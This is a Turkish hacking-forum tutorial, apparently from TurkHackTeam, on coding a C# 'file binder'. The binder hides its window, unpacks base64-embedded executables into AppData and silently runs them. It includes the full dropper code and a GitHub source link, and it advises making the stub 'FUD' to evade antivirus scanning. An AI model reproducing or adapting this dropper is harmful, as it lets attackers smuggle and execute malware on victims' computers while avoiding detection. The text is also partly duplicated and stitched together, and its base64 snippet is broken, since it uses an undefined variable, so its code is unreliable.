Herkese selam, kaldığımız yerden devam ediyoruz
. Bu sefer size File Binder kodlamayı göstereceğim. Mantığı geçen günlerde paylaştığım Scantime Crypter ile çok benzer aslında. Ama olsun biz konu anlatımını yapalım gene de.
Mantığını anlamanız açısından algoritmadan başlayalım isterseniz:
1. Dosyaların base64stringi alınır.
2. Base64ler proje kaynaklarına eklenir.
3. Stub çalıştığında base64stringler byte'a dönüştürülüp oluşturulan uygulamaya yazılır ve çalıştırılır.
4. Stub kapatılır.
Evet bu kadar basitti işlemimiz.
Şimdi adımları uygulamaya geçelim.
Öncelikle dosyaların base64stringini almamız gerekiyor demiştim. Bunu geçen konuda da söylediğim gibi1 2 satır kod ile çok rahat bir şekilde halledebiliriz ancak yazarak anlatmak zor olduğundan ben bu siteden (File to Base64 Converter - Encode Files to Base64 - Online - Browserling Web Developer Tools) yararlanacağım. Ama isteyenler olursa diye file2base64 methodu hemen aşağıda. Birazcık kurcalayıp hemen çözebilirler.
Eveet. base64'ü aldık. Şimdi yapmamız gereken visual studio üzerinden C# projesi oluşturup 1 2 ufak kod yazıp projeyi bitirmek. Hazırsanız devam edelim.
Şimdi Visual Studio üzerinden C# dilinde WinForms projesi oluşturalım. .NET framework'u 4.7.2 olsun. Son sürüm her zaman daha iyidir
.
Karşımıza gelen ekrandaki tasarım form. Bu formun uygulama açıldığında görünmesini istemeyiz değil mi? Bunun için görünmez yapmamız gerekiyor. Hemen forma 1 kere tıklayalım ve özellikler sekmesinden Opacity'yi %0 yapalım. Formun tasarımını hallettik
. Sıra geldi aldığımız base64leri projeye eklemeye. Bunun için projenin ismine sağ tıklayıp özellikler diyoruz ve açılan sekmede kaynaklara geliyoruz. Burada masaüstüne base1.txt ve base2.txt adında kaydettiğimiz dosyaları sürükle bırak ile ekliyoruz.
Şimdi forma tekrar geliyoruz ve çift tıklayarak kod sekmesine geliyoruz. Burada yapmanız gereken tek şey aşağıda verdiğim kodları Form1_Load eventine yazmak.
Zaten üstlerine ne için yazıldıklarını bir bir anlattım. Kafanıza takılan bir yer olursa yazarsınız yorumlara yardımcı olurum.
Şimdi sınırsız dosya birleştirme noktasına değinecek olursak, ne kadar dosya birleştirmek istiyorsanız bütün dosyaların base64'ünü kaynaklara ekliyorsunuz. Daha sonra her bir dosya için yeni birer değişken, yeni bir dosya oluşturma ve çalıştırma kodu ekleyerek bitiriyorsunuz
. Bu kadar. Artık 50 tanede dosyayı tek exede depolayabilirsiniz.
Ha bu arada. Bu aslında bir nevi scantime crypterda oldu. Bu stub'ı fud yaparak scantime atlatabilirsiniz de aynı zamanda
.
Kod yazmakla uğraşmak istemeyen arkadaşlar içinde source burada:
github.com
Sonraki konularda görüşmek üzere. Hoşçakalın..
Mantığını anlamanız açısından algoritmadan başlayalım isterseniz:
1. Dosyaların base64stringi alınır.
2. Base64ler proje kaynaklarına eklenir.
3. Stub çalıştığında base64stringler byte'a dönüştürülüp oluşturulan uygulamaya yazılır ve çalıştırılır.
4. Stub kapatılır.
Evet bu kadar basitti işlemimiz.
Şimdi adımları uygulamaya geçelim.
Öncelikle dosyaların base64stringini almamız gerekiyor demiştim. Bunu geçen konuda da söylediğim gibi1 2 satır kod ile çok rahat bir şekilde halledebiliriz ancak yazarak anlatmak zor olduğundan ben bu siteden (File to Base64 Converter - Encode Files to Base64 - Online - Browserling Web Developer Tools) yararlanacağım. Ama isteyenler olursa diye file2base64 methodu hemen aşağıda. Birazcık kurcalayıp hemen çözebilirler.
C#:
//Dosyanın yolunu tanımladık.
string path = @"Dosyanın yolu buraya yazılacak"
//Bytelerini okuduk. Bunları birazdan base64'e dönüştüreceğiz.
File.ReadAllBytes(path);
//Byteleri base64'e dönüştürdük.
string base64string = Convert.ToBase64String(bytes);
//TextBox'a yazdırdık. İsteyen masaüstüne de streamwriter ile yazabilir.
textBox1.Text = base64string;
Eveet. base64'ü aldık. Şimdi yapmamız gereken visual studio üzerinden C# projesi oluşturup 1 2 ufak kod yazıp projeyi bitirmek. Hazırsanız devam edelim.
Şimdi Visual Studio üzerinden C# dilinde WinForms projesi oluşturalım. .NET framework'u 4.7.2 olsun. Son sürüm her zaman daha iyidir
Karşımıza gelen ekrandaki tasarım form. Bu formun uygulama açıldığında görünmesini istemeyiz değil mi? Bunun için görünmez yapmamız gerekiyor. Hemen forma 1 kere tıklayalım ve özellikler sekmesinden Opacity'yi %0 yapalım. Formun tasarımını hallettik
Şimdi forma tekrar geliyoruz ve çift tıklayarak kod sekmesine geliyoruz. Burada yapmanız gereken tek şey aşağıda verdiğim kodları Form1_Load eventine yazmak.
Zaten üstlerine ne için yazıldıklarını bir bir anlattım. Kafanıza takılan bir yer olursa yazarsınız yorumlara yardımcı olurum.
C#:
//Coded by Endarionn for TurkHackTeam!
//If you want to replace the dropped files, add new base64 strings called base1.txt and base2.txt to the resources section and delete the old ones.
//We read the base64string from the sources and assigned it to a variable.
string base1 = Resources.base1;
string base2 = Resources.base2;
//We converted the base64 string we read into bytes.
byte[] bytes1 = Convert.FromBase64String(base1);
byte[] bytes2 = Convert.FromBase64String(base2);
//Folder to drop files: Appdata.
string path1 = @"C:\Users\ygzat\AppData\Roaming\file1.exe";
string path2 = @"C:\Users\ygzat\AppData\Roaming\file2.exe";
//We created the file to write the byte and ended the process with the .Dispose() command.
File.Create(path1).Dispose();
File.Create(path2).Dispose();
//We printed the byte in the variable to the files we created.
File.WriteAllBytes(path1, bytes1);
File.WriteAllBytes(path2, bytes2);
//We launched the applications.
Process.Start(path1);
Process.Start(path2);
//We turned off Stub.
Application.Exit();
Şimdi sınırsız dosya birleştirme noktasına değinecek olursak, ne kadar dosya birleştirmek istiyorsanız bütün dosyaların base64'ünü kaynaklara ekliyorsunuz. Daha sonra her bir dosya için yeni birer değişken, yeni bir dosya oluşturma ve çalıştırma kodu ekleyerek bitiriyorsunuz
Ha bu arada. Bu aslında bir nevi scantime crypterda oldu. Bu stub'ı fud yaparak scantime atlatabilirsiniz de aynı zamanda
Kod yazmakla uğraşmak istemeyen arkadaşlar içinde source burada:
GitHub - Atalayagiz/C-basic-file-binder
Contribute to Atalayagiz/C-basic-file-binder development by creating an account on GitHub.
Sonraki konularda görüşmek üzere. Hoşçakalın..
